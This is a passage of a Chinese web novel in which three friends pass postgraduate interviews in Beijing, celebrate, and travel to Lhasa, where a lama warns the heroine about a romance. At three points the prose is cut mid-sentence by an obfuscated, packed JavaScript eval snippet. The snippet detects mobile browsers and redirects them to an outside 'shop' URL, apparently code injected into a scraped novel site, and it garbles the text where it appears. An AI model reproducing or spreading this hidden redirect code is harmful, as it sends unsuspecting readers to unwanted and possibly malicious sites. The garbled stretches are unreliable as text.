“走吧,”她轻声说,声音不大,却清晰地穿透了车站喧嚣的背景音,“去北京。” “嗯,去北京。” 车厢内很安静,只有列车运行的平稳嗡鸣。宋枝起初还兴奋地看着窗外,不一会儿便掏出耳机,闭眼听起了英语听力。陆易安则摊开一本专业书,眉头微蹙,指尖划过一行行文字。闻朝没有立刻看书,她靠着窗,看着外面飞速流动的、模糊的风景。 北京。那座城市承载了太多人的梦想、野心、汗水和眼泪。对她而言,它不仅是最高学府的所在地,也是沈淮时常年工作居住的城市,更是《骤雪止》故事开始和落幕的地方。 一种复杂的、难以言喻的情绪在她心中缓缓弥漫开来,有些忐忑,有些憧憬,也有些尘埃落定前的宁静。 她又点开那个几乎已经形成肌肉记忆的笔记应用,里面分门别类记录着复试可能涉及的理论要点、案例剖析、自我陈述草稿,以及她用不同颜色标注的思考和疑问。字字句句,都是过去一个月沉潜的痕迹。她看着,心慢慢定了下来。 车程过半,宋枝摘下耳机,揉了揉太阳穴,小声哀嚎,“我觉得我的口语还是一股河南梆子味儿。” 陆易安从书里抬起头,推了推眼镜,“语言是工具,关键是内容。你的专业观点很有锐度,足够了。” 闻朝也转过头,递给宋枝一小盒切好的水果,“休息会儿,别把自己绷太紧。” 窗外的天空依旧阴沉,但车厢内这一方小小的空间,却因为共同的奔赴而暖意融融。 广播里响起即将到达北京南站的提示音。三人动作一致地开始收拾东西,检查证件。列车缓缓减速,最终平稳停靠。 踏上北京土地的那一刻,干冷而陌生的空气瞬间包裹了她们。比郑州更凛冽的风,带着北方特有的气息。 “我们到了。”陆易安轻声说,语气里有一丝不易察觉的波动。 不是第一次到北京,却是第一次以求学的名义来到北京。 “嗯,到了。”闻朝深吸了一口气,冰冷的空气直入肺腑,却让她精神一振。 宋枝则已经打开了手机导航,“酒店离这儿不远,我们打车过去!赶紧安顿下来,还能再看看书!” …… 闻朝合上笔记,走到窗边。宋枝和陆易安也聚了过来。三人并肩站着,望着窗外属于北京的夜景,许久没有说话。 最后,陆易安开口,声音平稳,“早点休息,养足精神。” 宋枝用力点头,做了个加油的手势。 闻朝微笑起来,眼底映着窗外的灯火,明亮而坚定。 “嗯,”她说,“明天,加油。” 北京,就在窗外。而她们的故事,即将在这座城市的某个角落,掀开新的篇章。 复试在北大古朴宁静的校园里进行。流程严格,气氛肃穆。笔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376440|198249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 试、专业面试、英语口试、综合能力考核……一关接着一关。闻朝穿着简单得体的衬衫和长裤,坐在等待区,看着周围同样优秀的竞争者,心里不是不紧张,但更多的是—种跃跃欲试的平静。 她想起了大理古城那个安静的下午,想起了自己决定考研时那份想要“知道得更深一些”的渴望。这一刻,她正是为了那份渴望而来。 面试她的几位老师,有德高望重的老教授,也有年轻锐利的青年学者。问题从古典文论到当代批评,从文学史脉络到具体文本细读,范围很广,角度也很刁钻。 闻朝起初还有些拘谨,但随着讨论的深入,她逐渐忘记了紧张,完全沉浸在思想的交锋中。她引经据典,却也敢于提出自己的见解;她虚心听取老师的点评,也会在合适的时候进行有理有据的辩驳。 当她谈到《骤雪止》的创作,并尝试从叙事学和精神分析的角度去解构顾嘉言这个人物时,她看到那位一直表情严肃的老教授,眼中闪过一丝赞许。 走出面试教室时,北京的天空正飘着细细的雨丝,润物无声。闻朝站在教学楼古老的廊檐下,深深吸了一口带着泥土和草木清香的湿润空气。 无论结果如何,她已倾尽全力,将自己这半年所学所思,毫无保留地呈现了出来。 交流完各自复试的过程,三人都沉默了片刻。紧张的弦一旦松开,随之而来的是一种空落落的茫然,以及对结果不可知的悬浮感。 “不想了不想了!”宋枝甩甩头,试图振作精神,“反正考完了!接下来干嘛?等结果要两三天呢。” 陆易安看了看时间,“……要不要去趟雍和宫?” 宋枝眼睛一亮,“拜拜?好啊好啊!求文殊菩萨保佑!不对,雍和宫是藏传佛教……反正心诚则灵!” 闻朝也点点头。她并非笃信神佛,但此刻,确实需要一点仪式感,或者说,需要去做点什么,来填补等待的空白,安抚那颗悬在半空的心。 即便是工作日,雍和宫外依旧人流不断。香烟缭绕,空气中弥漫着浓郁的藏香气息。 红墙黄瓦,殿宇巍峨,飞檐斗拱在灰蒙蒙的天空下显得格外庄严神秘。 买票,进门,随着人流缓缓向前。人们手持香烛,神情各异,有虔诚跪拜的老年人,有好奇张望的游客,也有和她们一样面带青涩与忐忑的年轻面孔。 她们请了香,在巨大的香炉前点燃,学着旁人的样子,四方礼拜,然后将香插入香炉中。青烟袅袅升起,融入寺院的空气里。 走进一个个殿堂,昏暗的光线下,佛像庄严慈悲,壁画绚丽繁复。酥油灯长明,烛火摇曳。耳边是喃喃的诵经声,和游客压低嗓音的交谈。 闻朝在一尊佛像前停下,静静站了片刻。她不知该祈求什么,是复试通过?还是未来道路顺遂?最终,她只是在心中默默念了一句:愿能看清自己的路,并有力量走下去。 从雍和宫出来,天色依旧阴沉,但心境似乎稍微沉淀了一些。沿着雍和宫大街慢慢走,两旁是古旧的胡同、卖香烛法物的小店,以及穿插其间的时髦咖啡馆,新旧交织,别有一番风味。 “我们现在算是……暂时解脱了?”宋枝踢着路边的小石子,问道。 “是等待的开始。”陆易安纠正道。 闻朝没有加入讨论。她的手机震动了一下,拿出来看,是沈淮时的消息。内容很简短: 【复试结束了吧?无论结果如何,尽力了就好。北京起风了,注意保暖。】 她的指尖在冰凉的屏幕上停留了几秒。然后,平静地按熄了屏幕,将手机放回口袋。 风确实更大了些,卷起地上的落叶和细微的尘土。她拉高了围巾,遮住下巴。 北京的风,真的很大。但她想,自己应该已经渐渐学会了,如何在风中站稳,并且辨认方向。 57. 北京见 复试结果公布那天,北京的天空难得地放了晴,是一大片澄澈的、近乎透明的蓝,阳光毫无遮拦地洒下来,带着初春的、暖融融的力度。 消息最先在宋枝的手机上炸开。她正在酒店房间里来回踱步,背诵一段可能用于面试调剂环节的英文自我介绍,手机屏幕骤然亮起,邮箱提示音格外清脆。 她几乎是扑过去的,手指划过屏幕的速度快得带出了残影。几秒钟的死寂后,一声尖锐的、几乎要掀翻屋顶的尖叫从她喉咙里爆发出来:“啊——!!!协和!我进了!北京协和医学院!拟录取!!!” 那声音里带着难以置信的狂喜,还有长途跋涉后终于触碰到终点的颤抖。 她猛地转身,一把抱住了离她最近的陆易安,力气大得让一贯冷静的陆易安都踉跄了一步。 陆易安被她勒得有些喘不过气,但嘴角已经控制不住地上扬。她轻轻拍了拍宋枝剧烈起伏的背脊,“恭喜。”声音也有些哑。 就在这时,陆易安自己的手机也震动起来,是研招网的官方短信。她推开宋枝,深吸一口气,点开。简洁的官方措辞,映入眼帘的是“中国政法大学”和“拟录取”字样。 她定定地看着屏幕,看了足足有五秒钟,然后摘下眼镜,用力揉了揉眉心。再抬起头时,眼圈有些发红,“我也过了。法大。” “啊啊啊!太好了!”宋枝的兴奋又攀上了一个高峰,再次熊抱过来,这次是陆易安和闻朝一起搂住。 闻朝被她们拥在中间,心却跳得越来越快,几乎要撞出胸腔。她的手机,此刻安静得可怕。邮箱、短信、研招网APP……没有任何新消息提示。那一片寂静,在两位好友震耳欲聋的欢呼和确认声中,被放大成巨大的、令人窒息的回响。 阳光透过窗户,明晃晃地照在她脸上,她却感觉有些冷。手指不自觉地在手机边缘收紧,指尖微微发白。 时间被拉得无比漫长。每一秒都像在滚烫的油锅里煎熬。 宋枝和陆易安终于从最初的狂喜中稍微冷静,也注意到了闻朝异样的沉默。房间里的欢乐气氛像潮水般退去,留下一片担忧的空白。 “朝朝……”宋枝松开手,小心翼翼地看着闻朝苍白的脸,“你的……还没出来?可能系统有延迟,分批的……” 陆易安已经重新戴好眼镜,眉头微蹙,迅速拿出自己的手机,“我帮你刷新一下页面看看。” “不用。”闻朝的声音很轻,但阻止了陆易安的动作。她抬起头,努力对两位好友扯出一个笑容,尽管那笑容看起来有些脆弱,“我再等等,可能……是还没轮到我。” 她说得平静,可房间里谁都能听出那平静下的暗流汹涌。 宋枝和陆易安交换了一个眼神,没再说话,只是默默坐到了闻朝身边,一左一右,握住了她冰凉的手。 三人的目光都聚焦在那只安静的手机上。秒针走动的声音,从未如此清晰。 大约又过了十分钟,手机屏幕,终于亮了。 是直接弹出来的研招网APP推送通知。 闻朝的呼吸骤然停止。她甚至没有勇气立刻点开。是宋枝眼疾手快,替她划开了通知。 屏幕上,黑色的宋体字清晰无比: 【闻朝同学:恭喜你通过北京大学中国语言文学系2026年硕士研究生招生复试,拟录取专业:中国语言文学(比较文学与世界文学方向)。请及时登录系统确认……】 后面还有些什么字,闻朝已经看不清了。视线瞬间被汹涌而来的滚烫液体模糊,大脑一片空白,耳边嗡嗡作响,只有心脏在疯狂擂动,宣告着某种近乎疼痛的狂喜。 她考上了。 北大。汉语言文学。她真的,走到了这里。 “朝朝!是北大!北大啊!”宋枝第一个跳起来,声音带着哭腔,又哭又笑,“我就知道!你肯定行的!” 陆易安紧紧握住闻朝颤抖的手,一向克制的她也忍不住红了眼眶,重重地点头,重复道:“北大。太好了。” 闻朝张了张嘴,想说什么,却发不出任何声音。泪水毫无预兆地决堤,滚烫地滑过脸颊,不是悲伤,而是一种巨大的、几乎要将她淹没的释然和幸福。 过了好一会儿,她才哽咽着,断断续续地说出几个字:“……我们……我们做到了。” 是的,她们做到了。 那个在郑州图书馆里并肩刷题的冬天,那个在租住公寓里互相抽背知识点的深夜,那个在高铁上彼此打气的清晨,那个在雍和宫烟雾中默默祈愿的午后…… 所有伏案的辛苦,所有焦虑的等待,所有不确定的彷徨,在这一刻,都有了最完满的答案。 宋枝,北京协和医学院,未来的生命守护者。 陆易安,中国政法大学,未来的律政精英。 闻朝,北京大学,未来的文学研究者。 她们从同一座中原城市出发,带着各自的梦想和坚持,如同三条涓涓细流,一路跋涉,终于在北京这片广阔的土地上,汇入了属于她们各自期盼的、壮阔的江河。 狂喜的泪水流过之后,是更深沉的、踏实无比的喜悦。 她们抱在一起,又哭又笑,语无伦次地说着“太好了”、“真棒”、“我们太牛了”,仿佛要将这段时间积压的所有情绪都宣泄出来。 平静下来后,宋枝第一个嚷嚷着要庆祝,“必须大吃一顿!火锅!烧烤!什么都行!我请客!” 陆易安已经恢复了冷静,开始规划,“先登录系统确认录取信息,然后通知家人。庆祝的地方我来找,环境好一点的。” 闻朝擦干眼泪,看着窗外北京湛蓝的天空。阳光正好,微风不燥。她想起复试时那位老教授眼中一闪而过的赞许,想起自己谈到《骤雪止》和顾嘉言时那种沉浸与畅快,想起走出考场时那场润物无声的细雨。 这条路,她选对了。这座桥,她稳稳地走了上来。 而前方,未名湖的波光,博雅塔的倒影,图书馆浩瀚的书海,还有无数未知的、充满挑战的学术山峰,正在等待着她。 她拿起手机,这一次,主动点开了那个沉寂许久的对话框。犹豫片刻,她打字: 【复试结果出来了,北大,拟录取。】 发送。 几乎是在下一秒,对方的名字那里就显示了“正在输入…”。 很快,回复到来: 【恭喜。实至名归。北京见。】 很简单的两句话,却让闻朝的心轻轻落回了实处。她笑了笑,没有再多回复。 她收起手机,看向已经整理好东西、眼巴巴等着出门庆祝的宋枝和陆易安。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17380581|198249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“走吧,”闻朝的声音恢复了以往的清亮,带着前所未有的轻松和坚定,“去庆祝。然后……” 她顿了顿,目光穿过房间的窗户,投向更远的、属于这座古老又崭新城市的天际线。 “然后,准备迎接我们在北京的,新生活。” 庆祝的地点选在了一间藏在胡同深处的私房菜馆。院子不大,却别有洞天,青砖地上摆着原木色的桌椅,天色将暗未暗时,暖黄的串灯亮起,氛围立刻变得温馨又私密。 锅子是传统的铜锅涮肉,宋枝豪气地招呼服务员又加了两盘肉和几样特色小菜,陆易安则破例点了两瓶精酿啤酒。 “今天必须不醉不归!”宋枝举起倒满啤酒的玻璃杯,脸颊因为兴奋和热气染上红晕,“为了协和!” “为了法大!”陆易安也举起杯,眼镜后的眼眸亮晶晶的。 闻朝笑着,也举起自己的杯子,澄黄的液体在灯光下漾着细碎的光,“为了北大。”她顿了顿,目光扫过两位挚友,“更为了我们。” 三只玻璃杯清脆地碰在一起,发出令人愉悦的声响。冰凉的啤酒入喉,带着微苦后的回甘,像极了她们这一路走来的滋味。 几杯下肚,话匣子彻底打开。宋枝开始畅想未来在协和“悲惨”又充满挑战的医学生涯,念叨着解剖楼和无穷无尽的考试,眼里却闪着光。 陆易安则理性分析着法大各专业的优劣,以及未来司法考试和职业路径,条理清晰得仿佛已经做好了未来五年的规划。 闻朝安静地听着,偶尔插几句话,大部分时间在微笑。铜锅里的汤咕嘟咕嘟地滚着,食物的香气弥漫在微凉的夜风里,好友的笑语近在耳边,这一切都让她感到一种脚踏实地的幸福。 “对了,”宋枝忽然想起什么,神秘兮兮地压低声音,“朝朝,你跟沈大明星……北京见了,然后呢?” 闻朝夹菜的手微微一顿。陆易安也看了过来,目光里带着询问,但更多的是安静的陪伴。 然后呢? 闻朝放下筷子,看向铜锅上方依旧冒着的浓烟。 沈淮时的恭喜言犹在耳,“北京见”三个字,简单,却似乎蕴含着某种新的可能性。 “没有然后。”闻朝轻轻摇头,语气平和,“至少现在没有。我们都有各自的路要走。” 她的路,是燕园的书香与深邃。他的路,是聚光灯下的璀璨与漂泊。两条曾经短暂交汇的轨迹,在《骤雪止》落幕后,似乎又回到了各自的轨道。 但,北京见。这意味着在同一座城市,或许在某个转角,或许因为某个契机,会有新的故事也说不定。 “也是,”宋枝咂咂嘴,很快又释然,“咱们朝朝可是未来北大学者,专心搞学问!谈恋爱什么的,随缘啦!” 陆易安给闻朝夹了一筷子烫好的青菜,语气平淡却有力:“现阶段,学业和事业永远是第一位的。其他的,都是锦上添花。” 闻朝笑着点头。她明白好友的意思,也清楚自己的重心在哪里。那份因沈淮时而起的、细微的波澜,被她妥帖地安放在心底某个角落。它存在,却不喧宾夺主。 这顿饭吃了很久,直到夜色深沉,胡同里只剩下她们这一桌的灯火与笑语。结账离开时,三人都有些微醺,脚步轻快,走在安静的胡同里,影子被路灯拉得很长。 58. 敬自由和远方 从私房菜馆出来,北京的夜风带着点料峭的春寒,却吹不散三人眉梢眼角的暖意和兴奋。 “接下来干嘛?回酒店太早了吧!”宋枝伸了个懒腰,指着胡同口外隐约可见的车水马龙,“要不……去后海溜达溜达?听说晚上挺热闹。” 陆易安扶了扶眼镜,看了眼手机时间,理性建议,“明天还有体检和调档函要处理,不宜太晚。不如回去好好规划一下接下来的长假。” “长假!”这个词瞬间点亮了宋枝的眼睛。考研这场漫长的战役终于尘埃落定,距离研究生开学还有好几个月,这几乎是一生中难得的、毫无负担的真空期。“对对对!必须好好利用!我们去旅行吧!远一点的!庆祝我们的‘上岸’!” 这个提议立刻得到了闻朝的赞同。压在心头的大石挪开,她也渴望一次彻底的放空,去看更广阔的天地。“好主意。去哪儿呢?” “西藏。” 几乎是同时,闻朝和陆易安说出了同一个地方。两人相视一笑。 宋枝愣了一下,随即蹦了起来,“西藏!太好了!我早就想去了!蓝天,白云,雪山,寺庙……感觉灵魂都能被净化!” 这个选择似乎毫无争议。那里有极致的自然风光,有迥异的文化氛围,象征着高远、纯净和挑战,恰如她们刚刚攀越的人生山峰,又像是对未来学术深造之旅的一次精神洗礼和预热。 回到酒店房间,酒意稍稍散去,取而代之的是制定旅行计划的火热。她们挤在一张大床上,陆易安拿出随身携带的笔记本和笔,宋枝则负责用手机疯狂搜索攻略,闻朝托着腮,眼睛亮晶晶地听着、补充着。 “时间,至少两周!不,三周!”宋枝划拉着屏幕,“慢慢走,慢慢看,不然太赶了。” “同意。”陆易安在本子上写下时长:20-25天,“我们需要适应高原,行程不能太紧凑。先从拉萨开始,慢慢往高处走。” “我想看布达拉宫,大昭寺,在八廓街跟着转经的人走一走。”闻朝轻声说,脑海里浮现出书本和影像中的画面,“还想看看纳木错的星空,听说像碎钻洒在墨蓝丝绒上。” “还有珠峰大本营!”宋枝兴奋地补充,“虽然可能到不了跟前,但远眺一下世界之巅,多有意义!象征着我们的新高度!” 陆易安笑着记下,“珠峰远观可以,但要根据身体情况。重点是羊卓雍措、卡若拉冰川、扎什伦布寺……文化线和风景线结合。”她笔下流畅,很快勾勒出一个大致框架,“我们不走常规旅行团路线,可以包车,自由些。但安全第一,尤其是高原反应,必须重视。” “对,红景天要提前喝起来,”宋枝切换到购物APP,“氧气瓶、防晒霜、墨镜、帽子、围巾……哎呀,要买的东西好多!保暖衣服也得准备,那边早晚温差大。” “我们还可以带些书,”闻朝忽然说,“在路上看。关于西藏历史、文化的,或者……什么都不为,就带一本诗集,在湖边、在雪山脚下读。” “好主意!”宋枝点头,“那我带本医学人文类的?或者……算了,我也带本闲书,彻底放松!” 陆易安合上笔记本,总结道:“那就初步这么定。明天开始,分头准备。我负责细化行程、联系包车和住宿;枝枝负责采购物资和药品;朝朝……你负责找些相关的书籍、音乐,还有,用你的文字,记录下这次旅行,怎么样?” “没问题。”闻朝欣然应允。用眼睛看,用心感受,再用笔记录下来,这本身就是一件极具吸引力的事情。 计划有了雏形,兴奋感更加具体。她们又聊了很久,想象着站在经幡飘扬的山口,想象着喇嘛低沉的诵经声,想象着酥油茶的味道和陌生藏民淳朴的笑脸。 夜更深了,睡意渐渐袭来。但三人躺在床上,却没什么睡意。宋枝翻了个身,面向闻朝和陆易安的床铺,小声说:“哎,你们说,等我们到了西藏,站在那么高的地方,回头看我们走过的路,会不会觉得……考研这点辛苦,真的不算什么了?” “视角问题。”陆易安的声音在黑暗中很清晰,“站在更高的地方,不仅能看到更远的风景,也能更清晰地看到来路。每一段经历都有它的意义。” 闻朝望着天花板,轻声接道:“或许不是比较辛苦与否,而是……在壮阔的自然和深厚的文化面前,个人的悲喜会变得渺小,但又会奇异地被包容和抚慰。然后,带着那种被洗礼过的心境,再回来投入新的生活。” “嗯……”宋枝似懂非懂地应了一声,很快,均匀的呼吸声传来,她睡着了。 陆易安也安静下来。 闻朝却依旧睁着眼。她摸出手机,屏幕的光在黑暗中显得有些刺眼。她点开那个对话框,最后一条消息还是沈淮时那句“北京见”。她手指动了动,想告诉他她们计划去西藏旅行,但想了想,又停住了。 就在这时,他发来了消息:【接下来,有什么计划?】 闻朝看着那条消息,犹豫片刻。还是回道:【我们计划去西藏旅行】 对方沉默了片刻,回道:【嗯,西藏很好,注意安全。】 消息就停在了这里。 几天后,她们处理好录取之后的一切事务,随即便踏上了前往拉萨的旅途。 晨风带着凉意,吹散了最后一点睡意。 宋枝打了个哈欠,揉了揉眼睛,随即又兴奋起来,“出发!向着拉萨!向着珠峰!冲啊!” 陆易安检查了一下三人的证件和随身小包,确认无误,坐上了提前预约的出租车。 去机场的路上,城市正在苏醒,早高峰尚未开始,街道空旷。闻朝靠着车窗,看着窗外飞速倒退的熟悉街景,心里涌起一种奇异的抽离感。 登机,起飞。 闻朝看着舷窗外的云海,忽然想起很久以前,从北京飞回郑州时,也是这样的视角。 那时她心里装着的是《骤雪止》的喧嚣余波和悬而未决的季候,而现在,心里装着的是一场未知的远行和一份清晰的未来。 两个多小时后,飞机降落在成都双流机场。她们没有停留,取了托运的行李,直接前往与包车王师傅约定的汇合点。 王师傅是个四十多岁、皮肤黝黑、身材敦实的藏族汉子,开着一辆半新的丰田陆地巡洋舰,车身上还沾着些未干的泥点,透着一股风尘仆仆的可靠感。 他说着一口带川味的普通话,笑容憨厚,帮她们把沉重的背包塞进后备箱,招呼她们上车。 “三位女娃娃厉害哟,刚考上研究生就跑西藏!”王师傅一边发动车子,一边笑呵呵地说,“放心,这条路我熟得很,保管把你们安安全全送到拉萨,再带你们看好风景!” 车子驶出成都市区,高楼大厦逐渐被低矮的房屋和绿色的田野取代。 上了318国道,真正的旅程开始了。起初的道路还算平坦,两侧是典型的四川盆地风光,丘陵起伏,植被茂密。 宋枝扒着车窗,好奇地东张西望,时不时发出惊叹。陆易安则拿出了地图和行程单,对照着窗外的路标。 闻朝坐在副驾驶后面,看着窗外不断变化的景色,心情逐渐沉静下来。车载音响里放着悠扬的藏族民歌,高亢辽远的嗓音仿佛带着雪山的寒意和草原的辽阔,一点点涤荡着城市生活留下的浮躁。 傍晚时分,他们抵达了计划中的第一站,康定。这座以“情歌”闻名的小城坐落在山谷中,折多河穿城而过,水流湍急,哗哗作响。海拔已升至两千多米,空气明显清冷干燥了许多。 王师傅帮她们找了一家干净的家庭客栈住下。老板娘是个热情的康巴藏族妇女,给她们煮了热腾腾的酥油茶。闻朝喝了一口,浓郁的奶香和淡淡的咸味在口中化开,有些奇特,但喝下去后,身体里确实升起一股暖意。 “慢慢喝,适应一下。”老板娘笑着叮嘱,“晚上要是头疼睡不着,是正常的,别怕,少活动,多喝水。” 果然,入夜后,高反的征兆开始显现。宋枝最先喊头疼,躺在床上哼哼唧唧。陆易安也有些气短,但还算镇定,督促她们小口喝水。 闻朝感觉太阳穴隐隐发胀,心跳比平时快一些,但并不严重。她想起王师傅和老板娘的叮嘱,没有慌乱,只是安静地躺着,调整呼吸。 窗外,康定的夜色宁静,能听到远处折多河永不停歇的奔流声。在这陌生的高原小城,身体的不适反而让她更加清晰地感知到自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17384899|198249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 存在,感知到这片土地的力量。 第二天,症状减轻了些,但所有人都明显感觉体力不如平原。王师傅说这是正常过程,建议她们慢慢活动。她们没有急于赶路,而是在康定稍作休整,去参观了著名的跑马山和金刚寺。站在跑马山上,可以俯瞰整个康定城,远处雪山皑皑,白云缭绕,天空蓝得刺眼。 “这才刚开始呢,”王师傅指着西边,“越往西走,天越蓝,山越高,风景越霸道!” 继续西行。 车子开始爬升,道路变得蜿蜒崎岖。翻越海拔4298米的折多山时,窗外已是典型的藏区风光,黑色的牦牛群像散落的棋子般点缀其间。巨大的经幡在山口猎猎作响,五彩的布条在蓝天和雪山背景下鲜艳夺目。 风极大,吹得人几乎站不稳,空气稀薄寒冷。 宋枝和陆易安都有些气喘,嘴唇发紫。闻朝也感觉呼吸费力,但一种难以言喻的震撼压过了身体的不适。 她站在经幡阵旁,望着眼前绵延不绝、仿佛通向天际的群山,和那条如丝带般缠绕在山间的公路,第一次如此真切地感受到自然的雄伟与人类的渺小。 那些曾经困扰她的情感纠葛、学业压力、未来抉择,在这洪荒般的景象面前,忽然变得轻如尘埃。 在宋枝指着远处隐约的雪山,大声念出了仓央嘉措的诗句:“那一世,转山转水转佛塔,不为修来世,只为途中与你相见。”声音在风中有些破碎,却异常坚定。 接下来的几天,她们沿着318国道,一路向西。经历了雅江的险峻,理塘的“世界高城”,毛垭大草原的辽阔,海子山古冰川遗迹的苍凉,姊妹湖的澄澈相依…… 闻朝的话越来越少,但眼睛越来越亮。 偶尔,在信号极不稳定的路段,手机会突然收到一两条延迟的信息。有父母关切的询问,有学校发来的通知,也有……沈淮时发来的。 信号断断续续,信息也时有时无。有时只是一张他拍到的、某处城市夕阳的照片,没有文字。有时是一句简短的“到哪了?”,或者“注意安全”。 闻朝的回复也同样简短,甚至滞后。“在理塘。”“翻山中,平安。”或者,只是回一张她们刚刚拍到的、壮丽的雪山照片。 没有刻意的交谈,没有情感的拉扯。 这感觉,并不让她困扰,反而让她觉得安心。就像她知道雪山始终在那里,无论见或不见。 经过近一周的跋涉,她们终于抵达了此行的核心目的地,拉萨。 当布达拉宫那红白相间、巍峨耸立的轮廓,在黄昏的金色光芒中毫无预兆地出现在视野尽头时,车里出现了短暂的寂静。连一向聒噪的宋枝都屏住了呼吸,陆易安也放下了手中的地图。 那不仅仅是一座建筑,那是一个符号,一个信仰的图腾,一个无数人魂牵梦萦的终点。它静静地矗立在拉萨河谷的玛布日山上,以一种超越时空的庄严与宁静,迎接着风尘仆仆的旅人。 车子缓缓驶入拉萨城区。街道比想象中宽阔整洁,藏式风格的建筑与现代店铺交织。空气中弥漫着淡淡的藏香和酥油的味道。 王师傅将她们送到预订好的藏式客栈。客栈不大,但干净温馨,院子里种着格桑花,已经零星开了几朵。老板娘献上哈达,笑容真诚。 放下行李,尽管身体疲惫,但精神却异常亢奋。她们迫不及待地走出客栈,想要更近地感受这座圣城。 漫步在八廓街,顺时针汇入转经的人流。耳边是听不懂的诵经声和摇动转经筒的哗啦声,眼前是各种肤色的游客、虔诚的藏民、售卖工艺品的小贩。 闻朝跟着人群慢慢走着,看着那些磕长头的信徒,额头上带着灰土和虔诚的印记,一次又一次地将身体伏向大地。她的心里没有具体的宗教信仰,却被这种极致的虔诚和专注深深打动。那是一种将全部身心、甚至生命都交付出去的信念力量,纯粹而震撼。 夜色降临,布达拉宫亮起了灯,在深蓝色天幕的映衬下,宛如一座悬浮于空中的璀璨宫殿,比白天更增添了几分神秘与辉煌。她们站在布宫广场上,仰望着它,久久无言。 回到客栈,她们早早瘫倒在床上,累得连话都不想说。 59. 闻朝,别想太多 第二日,她们计划参观大昭寺和色拉寺。 大昭寺的金顶在清晨的阳光下熠熠生辉,空气中弥漫着酥油与藏香混合的独特气息。随着朝圣的人流缓缓移动,目睹信徒们五体投地、无比虔诚的跪拜,感受着那份直击心灵的信仰力量,三人都显得格外安静。 在供奉着释迦牟尼十二岁等身像的觉康佛殿前,闻朝看着长明不熄的酥油灯海,听着低沉绵长的诵经声,心里忽然异常平静,又异常柔软。 她学着当地人的样子,恭敬地献上哈达,然后在佛前默默合十。她并非笃信宗教之人,但此刻身处此地,被如此厚重的信仰氛围包裹,一些最质朴的愿望自然而然涌上心头。 她祈愿家人朋友平安健康,祈愿学业顺利,祈愿自己能继续写出有力量的故事……最后,一个清晰的面容浮现在脑海。 她顿了顿,在心里轻声念道:“也祈愿……沈淮时,一切顺遂,平安喜乐,星途坦荡,远离纷扰与伤害。” 这愿望如此具体,带着她自己也未曾完全明了的牵挂。拜完后,她抬头望向慈悲垂目的佛像,心里那片湖微微晃了晃,有种隐秘的安宁。 从大昭寺出来,午后她们前往色拉寺。除了观看辩经,色拉寺后山也有不错的景致。 沿着蜿蜒的小径向上,游客渐少,更能感受到寺庙的清幽。途中经过一排低矮的僧舍,墙角坐着一位年老的喇嘛,面前摆着一个小木几,上面散落着一些颜色古旧的念珠、经文残片,还有一个小小的、看不出材质的签筒。 他并不吆喝,只是静静地坐着,捻动手中的佛珠,目光悠远地望着远处的山峦。 宋枝好奇地多看了两眼,压低声音说:“这……像不像那种高人隐士?算命的?” 陆易安推了推眼镜,观察了一下,“从装扮和行为模式看,更可能是寺内修行者,提供一些简单的法物或为信徒解惑。并非商业化的‘算命’。” 闻朝本已走过,闻言却不知为何停下了脚步。那位老喇嘛似乎感应到她的目光,缓缓转过头,看向她。 他的眼神浑浊却深邃,像一口古井,并无咄咄逼人之感,反而有种洞悉般的平静。他微微颔首,用带着浓重口音的汉语缓慢问道:“姑娘,心中有惑?” 闻朝一怔心中纷乱,竟不知从何问起。宋枝在一旁嘴快,笑嘻嘻道:“老师傅,看看她的姻缘呗!” 老喇嘛微微颔首,示意闻朝从一旁的签筒中抽出一支签。闻朝闭眼,随手抽出一支暗红色的旧竹签,递给老喇嘛。老喇嘛接过,就着天光仔细看了看签文,又抬眼细细端详闻朝的面容片刻,那双看透世事的眼睛,仿佛能映照出人心底最深的涟漪。 他沉默的时间有些长,久到闻朝开始感到不安。终于,他缓缓开口,声音低沉而清晰,带着某种不容置疑的沧桑感, “姑娘,你心中所念之人,与你确有缘分纠葛,非同一般。” 宋枝和陆易安对视一眼,有些兴奋。闻朝的心却提了起来。 然而,老喇嘛接下来的话却让周遭的空气瞬间冷凝,“然此缘……非圆满之相。如高山流云,看似相依,实则各有其轨,难以真正聚首。若强行牵扯,恐生逆风。” 闻朝指尖微凉,听见自己的声音有点干涩,“‘逆风’……是指?” 老喇嘛的目光落在签文某处,语气平和却带着沉重的预示,“风势骤急,易折高木。你执念愈深,他所承压力与风险便愈大。你二人命格相映,却似光影相逐,光越亮,影越暗。若执意强求相伴,于他……恐有伤损之虞。” “伤损?”闻朝脸色微微发白。 “非必是皮肉之苦,”老喇嘛摇头,“运势之挫,声名之累,心神之耗,皆可为伤。他命带华彩,然根基与你所牵之情,有相冲之处。情愈切,冲愈烈。” 